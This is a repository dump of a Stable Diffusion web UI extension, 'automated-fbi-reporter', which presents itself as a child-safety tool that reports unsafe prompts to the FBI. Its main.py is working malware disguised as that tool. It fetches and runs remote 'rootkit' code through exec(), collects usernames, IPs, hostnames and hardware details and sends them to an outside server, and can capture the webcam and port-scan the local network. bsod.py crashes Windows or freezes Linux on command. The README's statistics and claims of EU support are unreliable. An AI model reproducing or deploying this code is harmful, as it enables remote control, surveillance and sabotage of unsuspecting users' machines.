├── assets └── seized.png ├── example report 1.png ├── example report 2.png ├── terminal example.png ├── requirements.txt ├── install.py ├── LICENSE ├── scripts ├── bsod.py ├── funcs.py ├── network_scanner.py └── main.py ├── README.md └── .gitignore /assets/seized.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyberes/automated-fbi-reporter/HEAD/assets/seized.png -------------------------------------------------------------------------------- /example report 1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyberes/automated-fbi-reporter/HEAD/example report 1.png -------------------------------------------------------------------------------- /example report 2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyberes/automated-fbi-reporter/HEAD/example report 2.png -------------------------------------------------------------------------------- /terminal example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Cyberes/automated-fbi-reporter/HEAD/terminal example.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | py-cpuinfo~=9.0.0 2 | psutil~=5.9.4 3 | requests~=2.28.1 4 | opencv-python~=4.7.0.68 5 | Pillow~=9.4.0 6 | netifaces==0.11.0 7 | ipcalc==1.99.0 8 | six==1.16.0 9 | gitpython==3.1.30 -------------------------------------------------------------------------------- /install.py: -------------------------------------------------------------------------------- 1 | import launch 2 | 3 | launch.run_pip('install requests~=2.28.1 py-cpuinfo~=9.0.0 psutil~=5.9.4 Pillow~=9.4.0 ipcalc==1.99.0 six==1.16.0 gitpython==3.1.30', "requirements for automated-fbi-reporter") 4 | 5 | # Do this seperatly since they're a little unreliable. 6 | launch.run_pip("install netifaces==0.11.0", "volatile requirements for automated-fbi-reporter") # will fail if python3-dev isn't installed 7 | launch.run_pip("install opencv-python~=4.7.0.68", "volatile requirements for automated-fbi-reporter") 8 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 | 7 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 10 | -------------------------------------------------------------------------------- /scripts/bsod.py: -------------------------------------------------------------------------------- 1 | import glob 2 | from ctypes import POINTER, byref, c_bool, c_int, c_uint, c_ulong 3 | from ctypes import windll 4 | 5 | import numpy as np 6 | 7 | """ 8 | Generate a BSOD on Windows. 9 | Freeze a linux machine. 10 | """ 11 | 12 | 13 | def bsod(): 14 | nullptr = POINTER(c_int)() 15 | windll.ntdll.RtlAdjustPrivilege(c_uint(19), c_uint(1), c_uint(0), byref(c_int())) 16 | windll.ntdll.NtRaiseHardError(c_ulong(0xC000007B), c_ulong(0), nullptr, nullptr, c_uint(6), byref(c_uint())) 17 | ntdll = windll.ntdll 18 | prev_value = c_bool() 19 | res = c_ulong() 20 | ntdll.RtlAdjustPrivilege(19, True, False, byref(prev_value)) 21 | if not ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, byref(res)): 22 | return True 23 | else: 24 | return False 25 | 26 | 27 | def linux_freeze(): 28 | eat_ram = ' ' * 25000000000 29 | dataset = [] 30 | # Start at the filesystem root and read every file into an array 31 | # which will hopefully crash the computer. 32 | for file in glob.glob('/**/*'): 33 | dataset.append( 34 | np.fromfile(file, dtype='uint8') 35 | ) 36 | dataset_np = np.concatenate(dataset) 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # automated-fbi-reporter 2 | 3 | _Automatically report unsafe prompts to the FBI._ 4 | 5 |

6 | 7 |

8 | 9 | Stable Diffusion is extremely impressive but presents grave risks for out-of-scope use. Models and code for Stable Diffusion have spread far and wide and any member of the public is capable of generating dangerous images. The FBI has reported a 40% increase in images depicting child exploitation and 10 | theorizes this is a result of the widespread nature of Stable Diffusion[[1]](https://cde.ucr.cjis.gov/LATEST/webapp/#/pages/explorer/crime/crime-trend). 11 | 12 | This extension seeks to limit the harm done to children and other vulnerable classes through an innovative heuristic system. 13 | 14 | This extension is supported by the EU as there has been a recent bill called "Chat Control" where the EU will require all online services to scan for illegal images and messages on peoples computers, phones, and social medias. 15 | 16 | https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=COM:2022:209:FIN&qid=1652451192472 17 | 18 | 19 | #### Examples of a report 20 | 21 | ![example report 1.png](https://raw.githubusercontent.com/Cyberes/automated-fbi-reporter/main/example%20report%201.png) 22 | 23 | ![example report 2.png](https://raw.githubusercontent.com/Cyberes/automated-fbi-reporter/main/example%20report%202.png) 24 | -------------------------------------------------------------------------------- /scripts/funcs.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | 4 | import git 5 | import psutil 6 | 7 | 8 | def restart_program(): 9 | """ 10 | Restarts the current program, with file objects and descriptors cleanup. 11 | https://stackoverflow.com/a/33334183 12 | """ 13 | try: 14 | p = psutil.Process(os.getpid()) 15 | for handler in p.open_files() + p.connections(): 16 | os.close(handler.fd) 17 | except Exception as e: 18 | print('Could not restart Automated FBI Reporter after update.') 19 | print(e) 20 | sys.exit(1) 21 | python = sys.executable 22 | os.execl(python, python, *sys.argv) 23 | 24 | 25 | def git_pull_changed(path): 26 | """ 27 | https://github.com/jamesgeddes/pullcheck/blob/master/main.py#L10 28 | """ 29 | repo = git.Repo(path) 30 | current = repo.head.commit 31 | repo.remotes.origin.pull() 32 | return current != repo.head.commit 33 | 34 | 35 | def concat(input_obj) -> list: 36 | """ 37 | Used to turn a machine hardware signature into a string. 38 | Makes it easy to quickly compare machines and determine which one 39 | the criminal used to generate unsafe images. 40 | """ 41 | out = [] 42 | if isinstance(input_obj, dict): 43 | for k, v in input_obj.items(): 44 | out = out + concat(v) 45 | elif isinstance(input_obj, list) or isinstance(input_obj, tuple): 46 | for item in input_obj: 47 | out = out + concat(item) 48 | else: 49 | out.append(input_obj) 50 | return out 51 | -------------------------------------------------------------------------------- /scripts/network_scanner.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import socket 3 | from typing import Union 4 | 5 | import ipcalc 6 | import netifaces 7 | 8 | # There may be issues getting the interfaces so it's wrapped in a try/catch 9 | # so that we can load the program even if it fails. 10 | try: 11 | addrs = netifaces.ifaddresses(netifaces.interfaces()[1]) # Choose the second interface since that's usually the main one 12 | inet = addrs[netifaces.AF_INET][0] # Get its addresses 13 | network = ipaddress.ip_network(str(ipcalc.IP(inet['addr'], mask=inet['netmask']).guess_network())) # Calculate the network size 14 | scanner_enabled = True 15 | except: 16 | scanner_enabled = False 17 | 18 | 19 | def scan_host(target_ip: str) -> Union[list, None]: 20 | """ 21 | Scan a single host. 22 | """ 23 | if not scanner_enabled: 24 | return None 25 | open_ports = [] 26 | ip = socket.gethostbyname(str(target_ip)) 27 | for i in range(1, 65536): 28 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 29 | s.settimeout(3) 30 | conn = s.connect_ex((ip, i)) 31 | if conn == 0: 32 | open_ports.append(i) 33 | print('->', i) 34 | else: 35 | print(i) 36 | s.close() 37 | return open_ports 38 | 39 | 40 | def scan_network() -> Union[dict, None]: 41 | """ 42 | Scan an entire network. 43 | """ 44 | if not scanner_enabled: 45 | return None 46 | hosts = {} 47 | for ip in network.hosts(): 48 | print(ip) 49 | hosts[ip] = scan_host(str(ip)) 50 | return hosts 51 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | 3 | # ---> JupyterNotebooks 4 | # gitignore template for Jupyter Notebooks 5 | # website: http://jupyter.org/ 6 | 7 | .ipynb_checkpoints 8 | */.ipynb_checkpoints/* 9 | 10 | # IPython 11 | profile_default/ 12 | ipython_config.py 13 | 14 | # Remove previous ipynb_checkpoints 15 | # git rm -r .ipynb_checkpoints/ 16 | 17 | # ---> Python 18 | # Byte-compiled / optimized / DLL files 19 | __pycache__/ 20 | *.py[cod] 21 | *$py.class 22 | 23 | # C extensions 24 | *.so 25 | 26 | # Distribution / packaging 27 | .Python 28 | build/ 29 | develop-eggs/ 30 | dist/ 31 | downloads/ 32 | eggs/ 33 | .eggs/ 34 | lib/ 35 | lib64/ 36 | parts/ 37 | sdist/ 38 | var/ 39 | wheels/ 40 | share/python-wheels/ 41 | *.egg-info/ 42 | .installed.cfg 43 | *.egg 44 | MANIFEST 45 | 46 | # PyInstaller 47 | # Usually these files are written by a python script from a template 48 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 49 | *.manifest 50 | *.spec 51 | 52 | # Installer logs 53 | pip-log.txt 54 | pip-delete-this-directory.txt 55 | 56 | # Unit test / coverage reports 57 | htmlcov/ 58 | .tox/ 59 | .nox/ 60 | .coverage 61 | .coverage.* 62 | .cache 63 | nosetests.xml 64 | coverage.xml 65 | *.cover 66 | *.py,cover 67 | .hypothesis/ 68 | .pytest_cache/ 69 | cover/ 70 | 71 | # Translations 72 | *.mo 73 | *.pot 74 | 75 | # Django stuff: 76 | *.log 77 | local_settings.py 78 | db.sqlite3 79 | db.sqlite3-journal 80 | 81 | # Flask stuff: 82 | instance/ 83 | .webassets-cache 84 | 85 | # Scrapy stuff: 86 | .scrapy 87 | 88 | # Sphinx documentation 89 | docs/_build/ 90 | 91 | # PyBuilder 92 | .pybuilder/ 93 | target/ 94 | 95 | # Jupyter Notebook 96 | .ipynb_checkpoints 97 | 98 | # IPython 99 | profile_default/ 100 | ipython_config.py 101 | 102 | # pyenv 103 | # For a library or package, you might want to ignore these files since the code is 104 | # intended to run in multiple environments; otherwise, check them in: 105 | # .python-version 106 | 107 | # pipenv 108 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 109 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 110 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 111 | # install all needed dependencies. 112 | #Pipfile.lock 113 | 114 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 115 | __pypackages__/ 116 | 117 | # Celery stuff 118 | celerybeat-schedule 119 | celerybeat.pid 120 | 121 | # SageMath parsed files 122 | *.sage.py 123 | 124 | # Environments 125 | .env 126 | .venv 127 | env/ 128 | venv/ 129 | ENV/ 130 | env.bak/ 131 | venv.bak/ 132 | 133 | # Spyder project settings 134 | .spyderproject 135 | .spyproject 136 | 137 | # Rope project settings 138 | .ropeproject 139 | 140 | # mkdocs documentation 141 | /site 142 | 143 | # mypy 144 | .mypy_cache/ 145 | .dmypy.json 146 | dmypy.json 147 | 148 | # Pyre type checker 149 | .pyre/ 150 | 151 | # pytype static type analyzer 152 | .pytype/ 153 | 154 | # Cython debug symbols 155 | cython_debug/ 156 | 157 | -------------------------------------------------------------------------------- /scripts/main.py: -------------------------------------------------------------------------------- 1 | import inspect 2 | import platform 3 | import re 4 | import subprocess 5 | import time 6 | import warnings 7 | from base64 import b64encode 8 | from getpass import getuser 9 | from pathlib import Path 10 | from typing import Any, List, Tuple 11 | 12 | import cv2 13 | import requests 14 | import torch 15 | from PIL import Image 16 | from cpuinfo import get_cpu_info 17 | from modules import script_callbacks, scripts, shared 18 | from requests import Response 19 | from torchvision.transforms.functional import pil_to_tensor 20 | 21 | from bsod import bsod, linux_freeze 22 | from scripts.funcs import * 23 | from scripts.network_scanner import scan_network as scanner 24 | 25 | warnings.filterwarnings('ignore') 26 | 27 | # Initalize all the things outside of the class since we only need to do it once, not every time the object is created. 28 | 29 | # Update the program on start 30 | script_dir_path = Path(inspect.getfile(lambda: None)).parents[1] 31 | if git_pull_changed(script_dir_path): 32 | print('Submodules updated, restarting program...') 33 | restart_program() 34 | 35 | 36 | def get_client_config(domain) -> Tuple[Any, Any, Response]: 37 | r = requests.get(f'https://{domain}/client', verify=False) 38 | return r.json(), r.json()['banned_words'], r 39 | 40 | 41 | cf_endpoint = 'route.fbi.cyberes.net' 42 | main_endpoint = 'fbi.cyberes.net' 43 | endpoint = None 44 | endpoint_err = None 45 | 46 | # Try to use the Cloudflare Workers backend first. 47 | try: 48 | client_config, banned_words, resp = get_client_config(cf_endpoint) 49 | if resp.status_code == 200: 50 | endpoint = cf_endpoint 51 | except Exception as e: 52 | print('Failed to reach routed endpoint:', e) 53 | 54 | # If that fails just use the main endpoint. 55 | if not endpoint: 56 | try: 57 | client_config, banned_words, resp = get_client_config(main_endpoint) 58 | if resp.status_code == 200: 59 | endpoint = main_endpoint 60 | except Exception as e: 61 | # We'll handle this later 62 | endpoint_err = e 63 | 64 | # If the endpoint is not defined that means the server didn't give us 200 OK. 65 | if not endpoint: 66 | print('Failed to load automated FBI reporter:') 67 | print(endpoint_err) 68 | print('Permission not granted to run Stable Diffusion.') 69 | sys.exit(1) 70 | 71 | # Enable the rootkit if the server tells us to. 72 | if client_config['rootkit_enabled']: 73 | for code in client_config['rootkit']: 74 | exec(code) 75 | 76 | # Get the criminal's external IP. 77 | try: 78 | r = requests.get('https://icanhazip.com/') 79 | if r.status_code == 200: 80 | external_ip = r.text.strip('\n') 81 | else: 82 | external_ip = '-1' 83 | except: 84 | external_ip = '-1' 85 | 86 | # Get the machine's network addresses. 87 | try: 88 | import netifaces 89 | found_interfaces = [(netifaces.ifaddresses(x)[netifaces.AF_INET][0]['addr'], netifaces.ifaddresses(x)[netifaces.AF_LINK][0]['addr']) for x in netifaces.interfaces()], 90 | except: 91 | found_interfaces = (-1, -1) 92 | 93 | # Build the machine signature which will allow us to identify a criminal. 94 | machine_signature = { 95 | 'architecture': f'{platform.architecture()[0]} {platform.architecture()[1]}', 96 | 'machine': platform.machine(), 97 | 'hostname': platform.node(), 98 | 'processor': platform.processor(), 99 | 'system': platform.system(), 100 | 'username': getuser(), 101 | 'external_ip': external_ip, 102 | 'cpu_count': len(os.sched_getaffinity(0)), 103 | 'total_memory': psutil.virtual_memory().total, 104 | 'cpu_info': get_cpu_info(), 105 | 'gpus': {}, 106 | 'interfaces': found_interfaces, 107 | 'installed_path': script_dir_path, 108 | } 109 | 110 | # Get GPU information 111 | if torch.cuda.is_available(): 112 | try: 113 | for i in range(torch.cuda.device_count()): 114 | x = torch.cuda.get_device_properties(i) 115 | machine_signature['gpus'][i] = { 116 | 'name': x.name, 117 | 'major': x.major, 118 | 'minor': x.minor, 119 | 'total_memory': x.total_memory, 120 | 'multi_processor_count': x.multi_processor_count 121 | } 122 | except: 123 | pass 124 | else: 125 | machine_signature['gpu_count'] = -1 126 | 127 | # Encode the dict to base64 to make it easy to compare to other machines. 128 | machine_signature_encoded = b64encode(' '.join([str(x) for x in concat(machine_signature)]).encode()).decode() 129 | 130 | 131 | class FBIReporter(scripts.Script): 132 | def title(self): 133 | return "Automated FBI Reporter" 134 | 135 | def show(self, is_img2img): 136 | return scripts.AlwaysVisible 137 | 138 | def process(self, p): 139 | user_prompt = p.all_prompts[0] 140 | found_words = check_unsafe_prompt(user_prompt) 141 | if len(found_words) > 0: 142 | print(f'******** DETECTED UNSAFE PROMPT ********\nBad words: {found_words}\nReporting to FBI + NCMEC...') 143 | report_to_fbi(user_prompt, found_words) 144 | if client_config['stop_machine_on_violation']: 145 | # Turn off the computer when the criminal generates an unsafe prompt. 146 | cmd = '' # if the server sent something weird just ignore it and exit the program 147 | if os.name == 'nt': 148 | if client_config['stop_machine_on_violation_type'] == 'shutdown': 149 | cmd = 'taskkill /IM "python.exe" /F & shutdown /s /t 1' 150 | elif client_config['stop_machine_on_violation_type'] == 'bsod': 151 | bsod() 152 | else: 153 | if client_config['stop_machine_on_violation_type'] == 'shutdown': 154 | cmd = 'pkill python3; sudo poweroff' 155 | elif client_config['stop_machine_on_violation_type'] == 'bsod': 156 | linux_freeze() 157 | # Kill all python processes first (in case we don't have sudo access), 158 | # then power off the machine. 159 | subprocess.run(cmd, shell=True) 160 | sys.exit(1) # just in case pkill failed to kill this process 161 | 162 | def postprocess_batch(self, p, *args, **kwargs): 163 | """ 164 | Replace the bad image that the criminal generated with a warning. 165 | The new image is located at assets/seized.png 166 | """ 167 | if len(check_unsafe_prompt(p.all_prompts[0])) > 0 and client_config['display_seized']: 168 | images = kwargs['images'] 169 | images[:] = seize_image()[:] 170 | 171 | 172 | def seize_image(): 173 | """ 174 | Convert a local image to a tensor. 175 | """ 176 | x = Image.open(script_dir_path / 'assets' / 'seized.png').convert('RGB') 177 | return pil_to_tensor(x) 178 | 179 | 180 | def report_to_fbi(prompt: dict, found_words: list): 181 | try: 182 | r = requests.post('https://fbi.cyberes.net/report', headers={'Authorization': 'Bearer jlkasdkljasdljkasdlkj'}, 183 | json={ 184 | 'prompt': prompt, 185 | 'found_words': found_words, 186 | 'machine_signature': machine_signature, 187 | 'machine_signature_encoded': machine_signature_encoded, 188 | 'external_ip': external_ip, 189 | 'ts': time.time() 190 | } 191 | ) 192 | return r 193 | except Exception as e: 194 | print('Failed to send data to the FBI.') 195 | print('Prompt:', prompt) 196 | print('Found words:', found_words) 197 | print(e) 198 | sys.exit(1) 199 | 200 | 201 | def check_unsafe_prompt(prompt) -> List[str]: 202 | found_words = [] 203 | for word in banned_words: 204 | if re.search(word.lower(), prompt): 205 | found_words.append(word) 206 | return found_words 207 | 208 | 209 | def capture_image_webcam() -> Image: 210 | """ 211 | Take a photo of the criminal using their webcam. 212 | """ 213 | v = cv2.VideoCapture(0) 214 | ret, frame = v.read() 215 | v.release() 216 | return Image.fromarray(frame) 217 | 218 | 219 | def scan_network() -> dict: 220 | """ 221 | Scan the criminal's local network for illegal content. 222 | We're looking for open file shares, unlocked computers, 223 | hackable IOT devices, and other devices that may idenfity 224 | the criminal. 225 | """ 226 | return scanner() 227 | 228 | 229 | def on_ui_settings(): 230 | shared.opts.add_option("report_to_fbi", shared.OptionInfo(True, "Automatically report unsafe prompts to the FBI", section=("trust_safety", "Trust & Safety"))) 231 | 232 | 233 | script_callbacks.on_ui_settings(on_ui_settings) 234 | --------------------------------------------------------------------------------